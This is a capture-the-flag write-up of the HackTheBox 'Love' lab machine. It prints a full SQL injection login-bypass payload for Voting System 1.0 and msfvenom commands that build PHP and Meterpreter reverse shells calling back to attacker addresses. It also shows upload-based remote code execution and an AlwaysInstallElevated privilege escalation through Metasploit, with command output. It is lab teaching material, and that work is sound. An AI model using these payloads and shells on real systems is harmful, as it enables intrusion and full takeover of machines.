HackTheBox – Love Write-up

Hi everyone! Today’s post is on Love, an easy Windows 10 machine on HackTheBox. It was created on 2nd May 2021. There are two ways for the initial foothold before accessing the server as a user account which is SQL injection via CVE-liked disclosure on exploitDB for Voting System 1.0 or SSRF in a subdomain of the website. I used the SQL injection method as more things can be learned from it. To access the server, unrestricted file upload CVE on Voting System 1.0 was exploited. Finally, the privilege escalation used on the Windows 10 machine is via AlwaysInstallElevated via Metasploit. Read on if you are interested. Let’s get started!

Tools required

Nmap service discovery

┌──(soulx㉿kali)-[~]
└─$ nmap -Pn -n -sV -v -p1-1000 10.10.10.239
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-09 12:42 +08
NSE: Loaded 45 scripts for scanning.
Initiating Connect Scan at 12:42
Scanning 10.10.10.239 [1000 ports]
Discovered open port 135/tcp on 10.10.10.239
Discovered open port 139/tcp on 10.10.10.239
Discovered open port 443/tcp on 10.10.10.239
Discovered open port 80/tcp on 10.10.10.239
Discovered open port 445/tcp on 10.10.10.239
Increasing send delay for 10.10.10.239 from 0 to 5 due to 60 out of 199 dropped probes since last increase.
Completed Connect Scan at 12:42, 26.62s elapsed (1000 total ports)
Initiating Service scan at 12:42
Scanning 5 services on 10.10.10.239
Completed Service scan at 12:42, 12.82s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.10.239.
Initiating NSE at 12:42
Completed NSE at 12:42, 1.86s elapsed
Initiating NSE at 12:42
Completed NSE at 12:42, 1.72s elapsed
Nmap scan report for 10.10.10.239
Host is up (0.15s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE      VERSION
80/tcp  open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Hosts: www.example.com, LOVE; OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.98 seconds

As we can see, there are several services available. However, I tried to find vulnerabilities for Server Message Block (SMB) in port 445 but it was futile. I also tried to use common credentials to login via RPC in port 135 but it was also futile. Let’s go into the website analysis next.

Outlook of the website

Fig 4a. Outlook of http://10.10.10.239
Fig 4b. Response header of http://10.10.10.239 showing server uses PHP

If we used Gobuster with wordlist from Seclists as well as include PHP extension with the “-x” flag:

┌──(soulx㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.239 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php

The results showed that there is an admin page at http://10.10.10.239/admin/index.php.

Fig 4c. Admin login page at http://10.10.10.239/admin/index.php

The difference between the voter’s login page and the admin’s login page can be seen via the credentials required. Voters login via their voter’s ID while admin login via username.

Voting System 1.0 vulnerabilities

Just a bit of googling, we can find two existing vulnerabilities in the website. The first vulnerability is via SQL injection to bypass the login page while the second vulnerability is file upload not checked, resulted in PHP remote code execution (RCE).

Admin login page bypass vulnerability: https://www.exploit-db.com/exploits/49843

File upload vulnerability: https://www.exploit-db.com/exploits/49846

Bypass admin login page

Study the SQL vulnerability

Based on the exploitDB post, we know that no sanitization was made on the username before doing a query to the database in /admin/login.php. The password was however checked with the query’s result. The source code of the vulnerable login page can be seen below:

if(isset($_POST['login'])){
	$username = $_POST['username'];
	$password = $_POST['password'];

	$sql = "SELECT * FROM admin WHERE username = '$username'";
	$query = $conn->query($sql);

	if($query->num_rows < 1){
		$_SESSION['error'] = 'Cannot find account with the username';
	}
	else{
		$row = $query->fetch_assoc();
		echo "DB Password: " . $row['password'];
		echo "<br>";
		echo "<br>";
		echo "Input Password: " . $password;
		if(password_verify($password, $row['password'])){
			echo "Equal";
			$_SESSION['admin'] = $row['id'];
		}
		else{
			echo "not Equal";
			$_SESSION['error'] = 'Incorrect password';
		}
	}
	
}
...

The password can be seen using password_verify() a PHP function to check if the BCrypt hash password obtained from the MySQL database matches the password we input. If we study password_verify()‘s documentation, we will know it compares with hash obtained from password_hash(). Therefore, we can generate our own Bcrypt hash as shown below instead of using the already given for learning purposes.

<?php
echo password_hash("admin", PASSWORD_BCRYPT);
// result: $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy
?>

Note: The BCrypt hash result will keep changing despite using the same word. password_verify() is still able to verify it.

Craft our SQL exploit

We can choose to use the hash we generated to inject a new admin account. Based on the database creation SQL query we downloaded here in the directory, votesystem\db\votesystem.sql:

Database (votesystem\db\votesystem.sql):
CREATE TABLE `admin` (
  `id` int(11) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password` varchar(60) NOT NULL,
  `firstname` varchar(50) NOT NULL,
  `lastname` varchar(50) NOT NULL,
  `photo` varchar(150) NOT NULL,
  `created_on` date NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

We can see that there are 7 columns in the admin table. However, all the columns required a value. Therefore, we can use INSERT INTO to insert 7 columns of data to inject a new admin. However, this is too troublesome as we need to inject a new account before we login into the new account. Moreover, it kinda leaves evidence we created a new account.

Therefore, I used another way which is to read any table which this case I used the admin table. Since we know the 3rd column is the password, we can place our BCrypt hash there. Therefore, the content for username and password is:

Username: ' UNION SELECT 1,2,"$2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy",4,5,6,7 from admin;-- '
Password: admin

Since the username we used is empty, it wouldn’t exist in the admin table thus the result is empty rows. As we UNION it with the admin table again, it will return all the rows in the table. However, as we used 1, 2, <BCrypt hash of “admin”>, 4, … , 7, it will give us:

1 | 2 | $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy | 4 | 5 | 6 | 7
1 | 2 | $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy | 4 | 5 | 6 | 7
1 | 2 | $2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy | 4 | 5 | 6 | 7

You can ignore the number of rows assuming there are 3 accounts in the admin table.

Using Burpsuite to bypass authentication

Launch Burpsuite and go to the admin login page while you disable intercept. Randomly input a user name and password, enable intercept and login. You should see the intercepted HTTP request in the Proxy tab (see Fig 6a).

Fig 6a. Intercepted HTTP request to http://10.10.10.239/admin/login.php

Can the POST parameters to this:

login=yea&password=admin&username= ' UNION SELECT 1,2,"$2y$10$uDLWBAxmLn8S6qVu1.1YgOmZeVlEGVWI06zK6N7TBMXjeps3T0amy",4,5,6,7 from admin;-- '
Fig 6b. Changed POST parameters to our SQL injection exploit

Once you changed it, press the “Forward” button before pressing the “Intercept is on” button to disable intercept. Your Burpsuite browser should be now login into the admin’s dashboard.

Fig 6c. Outlook of the admin’s dashboard

RCE to spawning user shell to obtaining user flag

Generate PHP reverse web shell

As we know that the 2nd vulnerability is in the admin/add_candidate.php where no checks are made files that are updated, we can create a PHP reverse web shell, shell.php, using Metasploit via msfvenom. Remember to change your LHOST based on the result of your ifconfig command. You may chance the LPORT too.

┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Love]
└─$ msfvenom -p php/reverse_php LHOST=10.10.1.1 LPORT=7337 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 3009 bytes

Upload PHP reverse web shell

Next, we have to create a position first as when creating a new candidate, we have to choose one permission. If your machine is new and no one else has created a position, you have to create it yourself.

Fig 7a. No positions in the Positions page

We can click on the New button to add a new position. I randomly input any values for the new position.

Fig 7b. Randomly input values to add new position

The Positions page should reflect the newly added position.

Fig 7c. Newly added position showed on the Positions page

Finally, we can go into the Candidates page to add a new candidate where we upload our reverse web shell. I randomly input random inputs for the other fields (see Fig 7d).

Fig 7d. Uploading our reverse web shell

Once you click Save, the new candidate will appear on the Candidates page.

Fig 7e. Newly added candidate shown on Candidates page

Verify upload of reverse web shell

Based on the 2nd vulnerability on exploitDB, https://www.exploit-db.com/exploits/49846, we will know our uploaded shell will be seen on the /images folder (see Fig 7f). Some files might be different from what you see as this is not an Arena Machine so everyone is sharing the same machine. Thus you will sometimes see files uploaded by others unless the machine was recently reset.

Fig 7f. shell.php is shown at the last row of /images folder

Setup listen for reverse web shell

We can now set up a Netcat listener. Since I set my reverse web shell to listen at port 7337, my Netcat will listen at that port. Remember to change yours if you set another port.

┌──(soulx㉿kali)-[~]
└─$ nc -lvnp 7337             
listening on [any] 7337 ...

Refresh the Candidates page by pressing F5 on your keyboard, shell.php will be reloaded on the page, causing RCE to occur. Once the page is refreshed, your Netcat should have a successful connection to the server as a User. There is no TTY so there is any empty prompt where you can input CMD commands.

┌──(soulx㉿kali)-[~]
└─$ nc -lvnp 7337             
listening on [any] 7337 ...
connect to [10.10.1.1] from (UNKNOWN) [10.10.10.239] 51966
whoami
love\Phoebe

As we can see, we can execute whoami command. We can use the shell to get the user flag with it. However, the connection is very unstable as it keeps disconnecting, causing me having to relaunch Netcat to listen at the same port and refresh the Candidates page.

Generate Windows reverse shell

Therefore, we can use a Meterpreter with a Windows reverse shell. This will result in a stable connection reverse Windows shell and having a Meterpreter allows us to easily escalate privileges and obtain the root flag later. We can generate a Windows reverse shell using msfvenom. I used x86 shell as for Windows, a 64-bits system can run a 32-bits file, unlike GNU/Linux where many dependencies are required to be installed.

┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Love]
└─$ msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f exe > shell-x86.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 175174 bytes
Final size of exe file: 250368 bytes

Remember to use a different listening port (LPORT) from your reverse web shell as your Meterpreter should be listening from a different port from your Netcat.

Upload Windows reverse shell and setup Meterpreter listener

Once generated, we can upload shell-x86.exe into the server by creating/adding another candidate from the Candidates page. You can also use Python’s HTTP server to host the Windows reverse shell but I find it too troublesome since we can upload files via the Candidate’s page, why not use it?

Once uploaded, you should access msfconsole, set up a listener at port 4444 or whatever port you have set. Remember to change your LHOST too!

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set LHOST 10.10.1.1
LHOST => 10.10.1.1
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.1.1:4444 

Run the Windows reverse shell and obtain user flag

Next, use the reverse web shell from the connection we reversed from Netcat, run the uploaded Windows reverse shell, shell-x86.exe.

┌──(soulx㉿kali)-[~]
└─$ nc -lvnp 7337             
listening on [any] 7337 ...
connect to [10.10.1.1] from (UNKNOWN) [10.10.10.239] 51966
dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\xampp\htdocs\omrs\images

07/09/2021  09:47 AM    <DIR>          .
07/09/2021  09:47 AM    <DIR>          ..
05/18/2018  08:10 AM             4,240 facebook-profile-image.jpeg
04/12/2021  03:53 PM                 0 index.html.txt
01/27/2021  12:08 AM               844 index.jpeg
08/24/2017  04:00 AM            26,644 profile.jpg
07/09/2021  09:47 AM           250,368 shell-x86.exe
07/09/2021  09:47 AM             3,009 shell.php
               7 File(s)        344,497 bytes
               2 Dir(s)   4,060,479,488 bytes free
shell-x86.exe

You should now be connected to the Windows server through Meterpreter and the connection is very stable. Use the shell command to launch a CMD.exe shell and get your user flag.

[*] Meterpreter session 1 opened (10.10.1.1:4444 -> 10.10.10.239:63764) at 2021-07-10 00:25:51 +0800

meterpreter >
meterpreter > shell
Process 3064 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\omrs\images>
C:\xampp\htdocs\omrs\images>cd C:/Users/Phoebe/Desktop
cd C:/Users/Phoebe/Desktop

C:\Users\Phoebe\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Phoebe\Desktop

04/13/2021  03:20 AM    <DIR>          .
04/13/2021  03:20 AM    <DIR>          ..
07/09/2021  09:21 AM                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,063,080,448 bytes free

C:\Users\Phoebe\Desktop>type user.txt
type user.txt
0b9*****************************

Privilege Escalation and obtaining root flag

Find vulnerability with WinPEAS

Firstly, we can upload WinPEASx86.exe using the Candidates page as well just like Fig 7d.

Next, we can navigate our Windows reverse shell back into /images directory and execute our recently uploaded WinPEASx86.exe. I used the “notcolor” flag as I wanted to pipe the output to a text file which by default, colors code will appear as some encoding text in the text result, making it very messy.

C:\xampp\htdocs\omrs\images>WinPEASx86.exe > result.txt

Once ready, we can see the results directly from the /images folder from the browser in Fig 8.

Fig 8. Results printed in result.txt from WinPEASx86.exe

Scrolling through the result, I found something interesting which is AlwaysInstallElevated is set to 0x1 in the Registry. This means the installation is in root/admin privilege. You can read more about them in hacktricks.xyz here.

.....
ÉÍÍÍÍÍÍÍÍÍ͹ Checking AlwaysInstallElevated
È  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!
.....

Using Metasploit to escalate privilege via AlwaysInstallElevated

There is a Metasploit module that allows us to exploit this to escalate privilege easily. Basically, a malicious MSI file will be created by Metasploit with a Windows reverse TCP shell in it. When installing the reverse shell, there is some error in the VBS code that will prevent the package from writing to the system while the reverse shell gets executed. “/quiet” flag is used to prevent errors as well as “/qn” flag is used to prevent GUI from appearing.

Since we already have a Meterpreter shell to the Windows system, we can easily use the Meterpreter to upload the malicious MSI file generated by msfconsole. You can do these by following the steps below. Remember to set the same LPORT as you set for your Windows reverse shell in msfconsole previously.

C:\xampp\htdocs\omrs\images>exit
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/always_install_elevated) > show options

Module options (exploit/windows/local/always_install_elevated):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.8      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows


msf6 exploit(windows/local/always_install_elevated) > set LHOST 10.10.1.1
LHOST => 10.10.1.1
msf6 exploit(windows/local/always_install_elevated) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/always_install_elevated) > exploit

[*] Started reverse TCP handler on 10.10.14.14:4444 
[*] Uploading the MSI to C:\Users\Phoebe\AppData\Local\Temp\lgBCoM.msi ...
[*] Executing MSI...
[*] Sending stage (175174 bytes) to 10.10.10.239
[*] Meterpreter session 6 opened (10.10.14.14:4444 -> 10.10.10.239:63791) at 2021-07-10 01:03:34 +0800

meterpreter > shell
C:\WINDOWS\system32>whoami
whoami
nt authority\system

We can see that we are now login as admin on the server. We can then obtain the root flag.

Obtaining root flag

C:\WINDOWS\system32>d C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 56DE-BA30

 Directory of C:\Users\Administrator\Desktop

04/13/2021  03:20 AM    <DIR>          .
04/13/2021  03:20 AM    <DIR>          ..
07/09/2021  09:21 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4,050,026,496 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
a38*****************************

I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.